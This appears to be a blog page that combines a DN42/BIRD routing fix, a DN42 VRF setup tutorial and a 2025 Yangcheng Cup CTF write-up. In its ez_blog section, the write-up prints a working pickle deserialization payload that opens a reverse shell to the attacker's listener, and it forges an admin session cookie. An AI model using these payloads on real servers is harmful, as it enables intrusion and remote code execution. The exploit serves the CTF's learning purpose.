root@iYoRoyNetworkHKGBGP:/etc/bird/dn42/ospf# birdc s r for 172.20.234.226 BIRD 2.17.1 ready. Table master4: 172.20.234.226/32 unicast [dn42_ospf_iyoroynet_v4 00:30:29.307] * I (150/50) [172.20.234.226] via 172.20.234.226 on dn42_nkg onlink Looks seemingly normal...? Theoretically, although the DN42 source IP is different from the usual, DN42 rewrites krt_prefsrc when exporting to the kernel to inform the kernel of the correct source address, so this issue shouldn't occur: protocol kernel kernel_v4{ ipv4 { import none; export filter { if source = RTS_STATIC then reject; + if is_valid_dn42_network() then krt_prefsrc = DN42_OWNIP; accept; }; }; } protocol kernel kernel_v6 { ipv6 { import none; export filter { if source = RTS_STATIC then reject; + if is_valid_dn42_network_v6() then krt_prefsrc = DN42_OWNIPv6; accept; }; }; } Regarding krt_prefsrc, it stands for Kernel Route Preferred Source. This attribute doesn't manipulate the route directly but instead attaches a piece of metadata to it. This metadata directly instructs the Linux kernel to prioritize the specified IP address as the source address for packets sent via this route. I was stuck on this for a long time. The Solution Finally, during an unintentional attempt, I added the krt_prefsrc rewrite to the OSPF import configuration as well: protocol ospf v3 dn42_ospf_iyoroynet_v4 { router id DN42_OWNIP; ipv4 { - import where is_self_dn42_net() && source != RTS_BGP; + import filter { + if is_self_dn42_net() && source != RTS_BGP then { + krt_prefsrc=DN42_OWNIP; + accept; + } + reject; + }; export where is_self_dn42_net() && source != RTS_BGP; }; include "ospf/*"; }; protocol ospf v3 dn42_ospf_iyoroynet_v6 { router id DN42_OWNIP; ipv6 { - import where is_self_dn42_net_v6() && source != RTS_BGP; + import filter { + if is_self_dn42_net_v6() && source != RTS_BGP then { + krt_prefsrc=DN42_OWNIPv6; + accept; + } + reject; + }; export where is_self_dn42_net_v6() && source != RTS_BGP; }; include "ospf/*"; }; After running this, the src address became correct, and mutual pinging worked. Configuration files for reference: KaguraiYoRoy/Bird2-Configuration
2025 Yangcheng Cup CTF Preliminary WriteUp
GD1 The file description indicates this is a game developed with Godot Engine. Using GDRE tools to open it, we can locate the game logic: extends Node @export var mob_scene: PackedScene var score var a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101" func _ready(): pass func _process(delta: float) -> void : pass func game_over(): $ScoreTimer.stop() $MobTimer.stop() $HUD.show_game_over() func new_game(): score = 0 $Player.start($StartPosition.position) $StartTimer.start() $HUD.update_score(score) $HUD.show_message("Get Ready") get_tree().call_group("mobs", "queue_free") func _on_mob_timer_timeout(): var mob = mob_scene.instantiate() var mob_spawn_location = $MobPath / MobSpawnLocation mob_spawn_location.progress_ratio = randf() var direction = mob_spawn_location.rotation + PI / 2 mob.position = mob_spawn_location.position direction += randf_range( - PI / 4, PI / 4) mob.rotation = direction var velocity = Vector2(randf_range(150.0, 250.0), 0.0) mob.linear_velocity = velocity.rotated(direction) add_child(mob) func _on_score_timer_timeout(): score += 1 $HUD.update_score(score) if score == 7906: var result = "" for i in range(0, a.length(), 12): var bin_chunk = a.substr(i, 12) var hundreds = bin_chunk.substr(0, 4).bin_to_int() var tens = bin_chunk.substr(4, 4).bin_to_int() var units = bin_chunk.substr(8, 4).bin_to_int() var ascii_value = hundreds * 100 + tens * 10 + units result += String.chr(ascii_value) $HUD.show_message(result) func _on_start_timer_timeout(): $MobTimer.start() $ScoreTimer.start() We discover that when the score reaches 7906, a decryption algorithm is triggered to decrypt data from array a and print it. We wrote a decryption program following this logic: #include <iostream> #include <string> #include <bitset> using namespace std; int bin_to_int(const string &bin) { return stoi(bin, nullptr, 2); } string decodeBinaryString(const string &a) { string result; for (size_t i = 0; i + 12 <= a.length(); i += 12) { string bin_chunk = a.substr(i, 12); int hundreds = bin_to_int(bin_chunk.substr(0, 4)); int tens = bin_to_int(bin_chunk.substr(4, 4)); int units = bin_to_int(bin_chunk.substr(8, 4)); int ascii_value = hundreds * 100 + tens * 10 + units; result.push_back(static_cast<char>(ascii_value)); } return result; } int main() { string a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"; cout << decodeBinaryString(a) << endl; return 0; } Execution yields the Flag: DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS} 成功男人背后的女人 (The Woman Behind the Successful Man) Opening the attachment reveals an image. Based on the hint, we suspected hidden images or other content. Initial attempts with binwalk and foremost yielded nothing. Research indicated the use of Adobe Fireworks' proprietary protocol. Opening the image with appropriate tools revealed the hidden content: The symbols at the bottom were combined in binary form: 01000100010000010101001101000011 01010100010001100111101101110111 00110000011011010100010101001110 01011111011000100110010101101000 00110001011011100100010001011111 01001101010001010110111001111101 Decoding in 8-bit groups: #include <iostream> #include <string> using namespace std; int main(){ string str="010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101"; for(int i=0;i<str.length();i+=8){ cout<<(char)stoi(str.substr(i,8).c_str(),nullptr,2); } return 0; } Execution yields: DASCTF{w0mEN_beh1nD_MEn} SM4-OFB We had AI analyze the encryption process and write a decryption script: # 使用此代码进行本地运行或在本环境运行来恢复密文（SM4-OFB 假设下） # 代码会： # 1) 使用已知 record1 的明文和密文计算每个分块的 keystream（假设使用 PKCS#7 填充到 16 字节并且每个字段单独以 OFB 从相同 IV 开始） # 2) 用得到的 keystream 去解 record2 对应字段的密文，尝试去掉填充并输出明文（UTF-8 解码） # # 说明：此脚本**不需要密钥**，只利用了已知明文与相同 IV/模式复用导致的 keystream 可重用性（这是 OFB/CTR 的典型弱点） # 请确保安装 pycryptodome（如果需要对照加密进行验证），但此脚本只做异或操作，不调用加密库。 from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad def xor_bytes(a,b): return bytes(x^y for x,y in zip(a,b)) # record1 已知明文与密文（用户提供） record1 = { "name_plain": "蒋宏玲".encode('utf-8'), "name_cipher_hex": "cef18c919f99f9ea19905245fae9574e", "phone_plain": "17145949399".encode('utf-8'), "phone_cipher_hex": "17543640042f2a5d98ae6c47f8eb554c", "id_plain": "220000197309078766".encode('utf-8'), "id_cipher_hex": "1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } # record2 仅密文（用户提供） record2 = { "name_cipher_hex": "c0ffb69293b0146ea19d5f48f7e45a43", "phone_cipher_hex": "175533440427265293a16447f8eb554c", "id_cipher_hex": "1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } BS = 16 # 分组长度 # 工具：把字段按 16 字节块切分 def split_blocks(b): return [b[i:i+BS] for i in range(0, len(b), BS)] # 1) 计算 record1 每个字段的 keystream（假设加密前用 PKCS#7 填充，然后按块 XOR） ks_blocks = {"name": [], "phone": [], "id": []} # name C_name = unhexlify(record1["name_cipher_hex"]) P_name_padded = pad(record1["name_plain"], BS) for c, p in zip(split_blocks(C_name), split_blocks(P_name_padded)): ks_blocks["name"].append(xor_bytes(c, p)) # phone C_phone = unhexlify(record1["phone_cipher_hex"]) P_phone_padded = pad(record1["phone_plain"], BS) for c, p in zip(split_blocks(C_phone), split_blocks(P_phone_padded)): ks_blocks["phone"].append(xor_bytes(c, p)) # id (可能为两块) C_id = unhexlify(record1["id_cipher_hex"]) P_id_padded = pad(record1["id_plain"], BS) for c, p in zip(split_blocks(C_id), split_blocks(P_id_padded)): ks_blocks["id"].append(xor_bytes(c, p)) print("Derived keystream blocks (hex):") for field, blks in ks_blocks.items(): print(field, [b.hex() for b in blks]) # 2) 使用上述 keystream 去解 record2 相应字段 def recover_field(cipher_hex, ks_list): C = unhexlify(cipher_hex) blocks = split_blocks(C) recovered_padded = b''.join(xor_bytes(c, ks) for c, ks in zip(blocks, ks_list)) # 尝试去除填充并解码 try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception as e: recovered = None return recovered, recovered_padded name_rec, name_padded = recover_field(record2["name_cipher_hex"], ks_blocks["name"]) phone_rec, phone_padded = recover_field(record2["phone_cipher_hex"], ks_blocks["phone"]) id_rec, id_padded = recover_field(record2["id_cipher_hex"], ks_blocks["id"]) print("\nRecovered (if OFB with same IV/key and per-field restart):") print("Name padded bytes (hex):", name_padded.hex()) print("Name plaintext:", name_rec) print("Phone padded bytes (hex):", phone_padded.hex()) print("Phone plaintext:", phone_rec) print("ID padded bytes (hex):", id_padded.hex()) print("ID plaintext:", id_rec) # 如果解码失败，打印原始 bytes 以便人工分析 # if name_rec is None: # print("\nName padded bytes (raw):", name_padded) # if phone_rec is None: # print("Phone padded bytes (raw):", phone_padded) # if id_rec is None: # print("ID padded bytes (raw):", id_padded) # 结束 We found that names and ID numbers could be computed. After dumping all names from the Excel sheet into a text file, we had AI write a batch processing script: #!/usr/bin/env python3 """ Batch-decrypt names encrypted with SM4-OFB where the same IV/nonce was reused and one known plaintext/ciphertext pair is available (from record1). This script: - Reads an input file (one hex-encoded cipher per line). - Uses the known record1 name plaintext & ciphertext to derive the OFB keystream blocks for the name-field (keystream = C XOR P_padded). - XORs each input cipher with the derived keystream blocks to recover plaintext, removes PKCS#7 padding if present, and prints a line containing: <recovered_name>\t<cipher_hex> Usage: python3 sm4_ofb_batch_decrypt_names.py names_cipher.txt Notes: - This assumes each name was encrypted as a separate field starting OFB from the same IV (so keystream blocks align for the name-field) and PKCS#7 padding was used before encryption. If names exceed the number of derived keystream blocks the script will attempt to reuse the keystream cyclically (warns about it), but ideally you should supply a longer known plaintext/ciphertext pair to derive more keystream blocks. - Requires pycryptodome for padding utilities: pip install pycryptodome Edit the KNOWN_* constants below if your known record1 values differ. """ import sys from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad # ----------------------- # ----- KNOWN VALUES ---- # ----------------------- # These are taken from the CTF prompt / earlier messages. Change them if needed. KNOWN_NAME_PLAIN = "蒋宏玲" # record1 known plaintext for name field KNOWN_NAME_CIPHER_HEX = "cef18c919f99f9ea19905245fae9574e" # record1 name ciphertext hex IV_HEX = "6162636465666768696a6b6c6d6e6f70" # the IV column (fixed) # Block size for SM4 (16 bytes) BS = 16 # ----------------------- # ----- Helpers --------- # ----------------------- def xor_bytes(a: bytes, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b)) def split_blocks(b: bytes, bs: int = BS): return [b[i:i+bs] for i in range(0, len(b), bs)] # ----------------------- # ----- Derive keystream from the known pair # ----------------------- def derive_keystream_from_known(known_plain: str, known_cipher_hex: str): p = known_plain.encode('utf-8') c = unhexlify(known_cipher_hex) p_padded = pad(p, BS) p_blocks = split_blocks(p_padded) c_blocks = split_blocks(c) if len(p_blocks) != len(c_blocks): raise ValueError('Known plaintext/cipher block count mismatch') ks_blocks = [xor_bytes(cb, pb) for cb, pb in zip(c_blocks, p_blocks)] return ks_blocks # ----------------------- # ----- Recovery -------- # ----------------------- def recover_name_from_cipher_hex(cipher_hex: str, ks_blocks): c = unhexlify(cipher_hex.strip()) c_blocks = split_blocks(c) # If there are more cipher blocks than ks_blocks, warn and reuse ks cyclically if len(c_blocks) > len(ks_blocks): print("[WARN] cipher needs %d blocks but only %d keystream blocks available; reusing keystream cyclically" % (len(c_blocks), len(ks_blocks)), file=sys.stderr) recovered_blocks = [] for i, cb in enumerate(c_blocks): ks = ks_blocks[i % len(ks_blocks)] recovered_blocks.append(xor_bytes(cb, ks)) recovered_padded = b''.join(recovered_blocks) # Try to unpad and decode; if fails, return hex of raw bytes try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception: try: recovered = recovered_padded.decode('utf-8') except Exception: recovered = '<raw:' + recovered_padded.hex() + '>' return recovered # ----------------------- # ----- Main ----------- # ----------------------- def main(): if len(sys.argv) != 2: print('Usage: python3 sm4_ofb_batch_decrypt_names.py <names_cipher_file>', file=sys.stderr) sys.exit(2) inpath = sys.argv[1] ks_blocks = derive_keystream_from_known(KNOWN_NAME_PLAIN, KNOWN_NAME_CIPHER_HEX) with open(inpath, 'r', encoding='utf-8') as f: for lineno, line in enumerate(f, 1): line = line.strip() if not line: continue # Assume each line is one hex-encoded name ciphertext (no spaces) try: recovered = recover_name_from_cipher_hex(line, ks_blocks) except Exception as e: recovered = '<error: %s>' % str(e) print(f"{recovered}\t{line}") if __name__ == '__main__': main() Searching revealed that the ciphertext corresponding to 何浩璐 was c2de929284bff9f63b905245fae9574e. Searching for the ID number ciphertext corresponding to this in Excel yielded: 1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c. Decrypting this with the above script gave: 120000197404101676. Calculating its MD5: fbb80148b75e98b18d65be446f505fcc gives the Flag. dataIdSort We provided the requirements to AI and had it write a script: #!/usr/bin/env python3 # coding: utf-8 """ 功能： - 从 data.txt 中按顺序精确提取：身份证(idcard)、手机号(phone)、银行卡(bankcard)、IPv4(ip)、MAC(mac)。 - 严格遵循《个人信息数据规范文档》，优化正则表达式和匹配策略以达到高准确率。 - 所有匹配项均保留原始格式，并输出到 output.csv 文件中。 """ import re import csv from datetime import datetime # ------------------- 配置 ------------------- INPUT_FILE = "data.txt" OUTPUT_FILE = "output.csv" DEBUG = False # 设置为 True 以在控制台打印详细的接受/拒绝日志 # 手机号前缀白名单 ALLOWED_MOBILE_PREFIXES = { "134", "135", "136", "137", "138", "139", "147", "148", "150", "151", "152", "157", "158", "159", "172", "178", "182", "183", "184", "187", "188", "195", "198", "130", "131", "132", "140", "145", "146", "155", "156", "166", "167", "171", "175", "176", "185", "186", "196", "133", "149", "153", "173", "174", "177", "180", "181", "189", "190", "191", "193", "199" } # --------------------------------------------- # ------------------- 校验函数 ------------------- def luhn_check(digits: str) -> bool: """对数字字符串执行Luhn算法校验。""" s = 0 alt = False for char in reversed(digits): d = int(char) if alt: d *= 2 if d > 9: d -= 9 s += d alt = not alt return s % 10 == 0 def is_valid_id(raw: str): """校验身份证号的有效性（长度、格式、出生日期、校验码）。""" sep_pattern = r'[\s\-\u00A0\u3000\u2013\u2014]' s = re.sub(sep_pattern, '', raw) if len(s) != 18 or not re.match(r'^\d{17}[0-9Xx]$', s): return False, "无效的格式或长度" try: birth_date = datetime.strptime(s[6:14], "%Y%m%d") if not (1900 <= birth_date.year <= datetime.now().year): return False, f"无效的出生年份: {birth_date.year}" except ValueError: return False, "无效的出生日期" weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_map = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'] total = sum(int(digit) * weight for digit, weight in zip(s[:17], weights)) expected_check = check_map[total % 11] if s[17].upper() != expected_check: return False, f"校验码不匹配: 期望值 {expected_check}" return True, "" def is_valid_phone(raw: str) -> bool: """校验手机号的有效性（长度和号段）。""" digits = re.sub(r'\D', '', raw) if digits.startswith("86") and len(digits) > 11: digits = digits[2:] return len(digits) == 11 and digits[:3] in ALLOWED_MOBILE_PREFIXES def is_valid_bankcard(raw: str) -> bool: """校验银行卡号的有效性（16-19位纯数字 + Luhn算法）。""" if not (16 <= len(raw) <= 19 and raw.isdigit()): return False return luhn_check(raw) def is_valid_ip(raw: str) -> bool: """校验IPv4地址的有效性（4个0-255的数字，不允许前导零）。""" parts = raw.split('.') if len(parts) != 4: return False # 检查是否存在无效部分，如 '01' if any(len(p) > 1 and p.startswith('0') for p in parts): return False return all(p.isdigit() and 0 <= int(p) <= 255 for p in parts) def is_valid_mac(raw: str) -> bool: """校验MAC地址的有效性。""" # 正则表达式已经非常严格，这里仅做最终确认 return re.fullmatch(r'([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}', raw, re.IGNORECASE) is not None # ------------------- 正则表达式定义 ------------------- # 模式的顺序经过精心设计，以减少匹配歧义：优先匹配格式最特殊的。 # 1. MAC地址：格式明确，使用冒号分隔。 mac_pattern = r'(?P<mac>(?:[0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2})' # 2. IP地址：格式明确，使用点分隔。该正则更精确，避免匹配如 256.1.1.1 的无效IP。 ip_pattern = r'(?P<ip>(?<!\d)(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?!\d))' # 3. 身份证号：结构为 6-8-4，长度固定，比纯数字的银行卡更具特异性。 sep = r'[\s\-\u00A0\u3000\u2013\u2014]' id_pattern = rf'(?P<id>(?<!\d)\d{{6}}(?:{sep}*)\d{{8}}(?:{sep}*)\d{{3}}[0-9Xx](?!\d))' # 4. 银行卡号：匹配16-19位的连续数字。这是最通用的长数字模式之一，放在后面匹配。 bankcard_pattern = r'(?P<bankcard>(?<!\d)\d{16,19}(?!\d))' # 5. 手机号：匹配11位数字的特定格式，放在最后以避免错误匹配更长数字串的前缀。 phone_prefix = r'(?:\(\+86\)|\+86\s*)' phone_body = r'(?:\d{11}|\d{3}[ -]\d{4}[ -]\d{4})' phone_pattern = rf'(?P<phone>(?<!\d)(?:{phone_prefix})?{phone_body}(?!\d))' # 将所有模式编译成一个大的正则表达式 combined_re = re.compile( f'{mac_pattern}|{ip_pattern}|{id_pattern}|{bankcard_pattern}|{phone_pattern}', flags=re.UNICODE | re.IGNORECASE ) # ------------------- 主逻辑 ------------------- def extract_from_text(text: str): """ 使用单一的、组合的正则表达式从文本中查找所有候选者，并逐一校验。 """ results = [] for match in combined_re.finditer(text): kind = match.lastgroup value = match.group(kind) if kind == 'mac': if is_valid_mac(value): if DEBUG: print(f"【接受 mac】: {value}") results.append(('mac', value)) elif DEBUG: print(f"【拒绝 mac】: {value}") elif kind == 'ip': if is_valid_ip(value): if DEBUG: print(f"【接受 ip】: {value}") results.append(('ip', value)) elif DEBUG: print(f"【拒绝 ip】: {value}") elif kind == 'id': is_valid, reason = is_valid_id(value) if is_valid: if DEBUG: print(f"【接受 idcard】: {value}") results.append(('idcard', value)) else: # 降级处理：如果作为身份证校验失败，则尝试作为银行卡校验 digits_only = re.sub(r'\D', '', value) if is_valid_bankcard(digits_only): if DEBUG: print(f"【接受 id->bankcard】: {value}") # 规范要求保留原始格式 results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 id】: {value} (原因: {reason})") elif kind == 'bankcard': if is_valid_bankcard(value): if DEBUG: print(f"【接受 bankcard】: {value}") results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 bankcard】: {value}") elif kind == 'phone': if is_valid_phone(value): if DEBUG: print(f"【接受 phone】: {value}") results.append(('phone', value)) elif DEBUG: print(f"【拒绝 phone】: {value}") return results def main(): """主函数：读取文件，执行提取，写入CSV。""" try: with open(INPUT_FILE, "r", encoding="utf-8", errors="ignore") as f: text = f.read() except FileNotFoundError: print(f"错误: 输入文件 '{INPUT_FILE}' 未找到。请确保该文件存在于脚本运行目录下。") # 创建一个空的data.txt以确保脚本可以运行 with open(INPUT_FILE, "w", encoding="utf-8") as f: f.write("") print(f"已自动创建空的 '{INPUT_FILE}'。请向其中填充需要分析的数据。") text = "" extracted_data = extract_from_text(text) with open(OUTPUT_FILE, "w", newline="", encoding="utf-8") as csvfile: writer = csv.writer(csvfile) writer.writerow(["category", "value"]) writer.writerows(extracted_data) print(f"分析完成。共识别 {len(extracted_data)} 条有效敏感数据。结果已保存至 '{OUTPUT_FILE}'。") if __name__ == "__main__": main() Execution produces export.csv. Uploading this with accuracy >=98% yields the Flag: DASCTF{34164200333121342836358909307523} ez_blog Opening the webpage revealed a login requirement. Following hints, we successfully logged in as a guest using username guest and password guest. We observed a Cookie containing Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e. AI analysis revealed this was pickle serialization converted to hex. Decoding showed: KappUser)}(idusernameguesis_admin logged_inub.. We modified the content to change username to admin and is_admin to True, resulting in: 8004954b000000000000008c03617070948c04557365729493942981947d9428 8c026964944b028c08757365726e616d65948c0561646d696e948c0869735f61 646d696e94888c096c6f676765645f696e948875622e. Modifying the request Cookies via BurpSuite successfully granted admin privileges (with article creation rights): This indicated the server deserializes the Token, allowing exploitation of deserialization vulnerabilities. With no echo, we opted for a reverse shell. We crafted the Payload: import pickle import time import binascii import os class Exploit: def __reduce__(self): return (os.system, ('''python3 -c "import os import socket import subprocess s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('<Your IP>', 2333)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(['/bin/sh', '-i'])"''',)) payload = pickle.dumps(Exploit()) hex_token = binascii.hexlify(payload).decode() print(hex_token) print(payload) obj = pickle.loads(payload) Execution produced the Payload: 80049510010000000000008c05706f736978948c0673797374656d9493948cf5707974686f6e33202d632022696d706f7274206f730a696d706f727420736f636b65740a696d706f72742073756270726f636573730a733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c20736f636b65742e534f434b5f53545245414d290a732e636f6e6e6563742828273c596f75722049503e272c203233333329290a6f732e6475703228732e66696c656e6f28292c2030290a6f732e6475703228732e66696c656e6f28292c2031290a6f732e6475703228732e66696c656e6f28292c2032290a70203d2073756270726f636573732e63616c6c285b272f62696e2f7368272c20272d69275d292294859452942e. After running nc -lvvp 2333 on our server and sending the Payload as the Token, we successfully obtained a shell. The Flag was located in /thisisthefffflllaaaggg.txt: Flag: DASCTF{15485426979172729258466667411440}
DN42&OneManISP - Using VRF to Run Clearnet BGP and DN42 on the Same Machine
Background Currently, clearnet BGP and DN42 each use a separate VPS in the same region, meaning two machines are required per region. After learning about VRF from a group member, I explored using VRF to enable a single machine to handle both clearnet BGP and DN42 simultaneously. Note: Due to its isolation nature, the VRF solution will prevent DN42 from accessing services on the host. If you need to run services (like DNS) on the server for DN42, you might need additional port forwarding or veth configuration, which is beyond the scope of this article. (This is also the reason why I ultimately did not adopt VRF in my production environment). Advantages of VRF Although DN42 uses private IP ranges and internal ASNs, which theoretically shouldn't interfere with clearnet BGP, sharing the same routing table can lead to issues like route pollution and management complexity. VRF (Virtual Routing and Forwarding) allows creating multiple routing tables on a single machine. This means we can isolate DN42 routes into a separate routing table, keeping them apart from the clearnet routing table. The advantages include: Absolute Security and Policy Isolation: The DN42 routing table is isolated from the clearnet routing table, fundamentally preventing route leaks. Clear Operation and Management: Use commands like birdc show route table t_dn42 and birdc show route table t_inet to view and debug two completely independent routing tables, making things clear at a glance. Fault Domain Isolation: If a DN42 peer flaps, the impact is confined to the dn42 routing table. It won't consume routing computation resources for the clearnet instance nor affect clearnet forwarding performance. Alignment with Modern Network Design Principles: Using VRF for different routing domains (production, testing, customer, partner) is standard practice in modern network engineering. It logically divides your device into multiple virtual routers. Configuration System Part Creating the VRF Interface Use the following commands to create a VRF device named dn42-vrf and associate it with the system's routing table number 1042: ip link add dn42-vrf type vrf table 1042 ip link set dev dn42-vrf up # Enable it You can change the routing table number according to your preference, but avoid the following reserved routing table IDs: Name ID Description unspec 0 Unspecified, rarely used main 254 Main routing table, where most ordinary routes reside default 253 Generally unused, reserved local 255 Local routing table, contains 127.0.0.1/8, local IPs, broadcast addresses, etc. Cannot be modified Associating Existing Network Interfaces with VRF In my current DN42 setup, several WireGuard interfaces and a dummy interface are used for DN42. Therefore, associate these interfaces with the VRF: ip link set dev <interface_name> master dn42-vrf Note: After associating an interface with a VRF, it might lose its IP addresses. Therefore, you need to readd the addresses, for example: ip addr add 172.20.234.225 dev dn42 After completion, ip a should show the corresponding interface's master as dn42-vrf: 156: dn42: <BROADCAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc noqueue master dn42-vrf state UNKNOWN group default qlen 1000 link/ether b6:f5:28:ed:23:04 brd ff:ff:ff:ff:ff:ff inet 172.20.234.225/32 scope global dn42 valid_lft forever preferred_lft forever inet6 fd18:3e15:61d0::1/128 scope global valid_lft forever preferred_lft forever inet6 fe80::b4f5:28ff:feed:2304/64 scope link valid_lft forever preferred_lft forever Persistence I use ifupdown2 to automatically load the dummy interface and VRF device on boot. auto dn42-vrf iface dn42-vrf inet manual vrf-table 1042 auto dn42 iface dn42 inet static pre-up ip link add $IFACE type dummy || true vrf dn42-vrf address <IPv4 Address>/32 address <IPv6 Address>/128 post-down ip link del $IFACE My dummy interface is named dn42; modify accordingly if yours is different. After creation, use ifup dn42-vrf && ifup dn42 to start the dummy interface. Note: The number prefix for the VRF device file should be smaller than that of the dummy interface file, ensuring the VRF device starts first. WireGuard Tunnels Add PostUp commands to associate them with the VRF and readd their addresses. Example: [Interface] PrivateKey = [Data Redacted] ListenPort = [Data Redacted] Table = off Address = fe80::2024/64 + PostUp = ip link set dev %i master dn42-vrf + PostUp = ip addr add fe80::2024/64 dev %i PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0 [Peer] PublicKey = [Data Redacted] Endpoint = [Data Redacted] AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8 Then restart the tunnel. Bird2 Part First, define two routing tables for DN42's IPv4 and IPv6: ipv4 table dn42_table_v4; ipv6 table dn42_table_v6 Then, specify the VRF and system routing table number in the kernel protocol, and specify the previously created v4/v6 routing tables in the IPv4/IPv6 sections: protocol kernel dn42_kernel_v6{ + vrf "dn42-vrf"; + kernel table 1042; scan time 20; ipv6 { + table dn42_table_v6; import none; export filter { if source = RTS_STATIC then reject; krt_prefsrc = DN42_OWNIPv6; accept; }; }; }; protocol kernel dn42_kernel_v4{ + vrf "dn42-vrf"; + kernel table 1042; scan time 20; ipv4 { + table dn42_table_v4; import none; export filter { if source = RTS_STATIC then reject; krt_prefsrc = DN42_OWNIP; accept; }; }; } For protocols other than kernel, add the VRF and the independent IPv4/IPv6 tables, but do not specify the system routing table number: protocol static dn42_static_v4{ + vrf "dn42-vrf"; route DN42_OWNNET reject; ipv4 { + table dn42_table_v4; import all; export none; }; } protocol static dn42_static_v6{ + vrf "dn42-vrf"; route DN42_OWNNETv6 reject; ipv6 { + table dn42_table_v6; import all; export none; }; } In summary: Configure a VRF and the previously defined routing tables for everything related to DN42. Only the kernel protocol needs the system routing table number specified; others do not. Apply the same method to BGP, OSPF, etc. However, I chose to use separate Router IDs for the clearnet and DN42, so a separate Router ID needs to be configured: # /etc/bird/dn42/ospf.conf protocol ospf v3 dn42_ospf_iyoroynet_v4 { + vrf "dn42-vrf"; + router id DN42_OWNIP; ipv4 { + table dn42_table_v4; import where is_self_dn42_net() && source != RTS_BGP; export where is_self_dn42_net() && source != RTS_BGP; }; include "ospf/*"; }; protocol ospf v3 dn42_ospf_iyoroynet_v6 { + vrf "dn42-vrf"; + router id DN42_OWNIP; ipv6 { + table dn42_table_v6; import where is_self_dn42_net_v6() && source != RTS_BGP; export where is_self_dn42_net_v6() && source != RTS_BGP; }; include "ospf/*"; }; # /etc/bird/dn42/ebgp.conf ... template bgp dnpeers { + vrf "dn42-vrf"; + router id DN42_OWNIP; local as DN42_OWNAS; path metric 1; ipv4 { + table dn42_table_v4; ... }; ipv6 { + table dn42_table_v6; ... }; } include "peers/*"; After completion, reload the configuration with birdc c. Now, we can view the DN42 routing table separately using ip route show vrf dn42-vrf: root@iYoRoyNetworkHKGBGP:~# ip route show vrf dn42-vrf 10.26.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 10.29.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 10.37.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 ... You can also ping through the VRF using the -I dn42-vrf parameter: root@iYoRoyNetworkHKGBGP:~# ping 172.20.0.53 -I dn42-vrf ping: Warning: source address might be selected on device other than: dn42-vrf PING 172.20.0.53 (172.20.0.53) from 172.20.234.225 dn42-vrf: 56(84) bytes of data. 64 bytes from 172.20.0.53: icmp_seq=1 ttl=64 time=3.18 ms 64 bytes from 172.20.0.53: icmp_seq=2 ttl=64 time=3.57 ms 64 bytes from 172.20.0.53: icmp_seq=3 ttl=64 time=3.74 ms 64 bytes from 172.20.0.53: icmp_seq=4 ttl=64 time=2.86 ms ^C --- 172.20.0.53 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3006ms rtt min/avg/max/mdev = 2.863/3.337/3.740/0.341 ms Important Notes If the VRF device is reloaded, all devices originally associated with the VRF need to be reloaded as well, otherwise they won't function correctly. Currently, DN42 cannot access services inside the host configured with VRF. A future article might explain how to allow traffic within the VRF to access host services (Adding to the TODO list). I learned from a friend that by setting net.ipv4.tcp_l3mdev_accept=1 and net.ipv4.udp_l3mdev_accept=1, it is possible to allow the listening sockets in the global space to accept connection requests from the VRF domain, thus achieving cross-vrf listening services. Reference Articles:： Run your MPLS network with BIRD
OneManISP - Ep.2 Announcing Our Own IP Prefix to the World
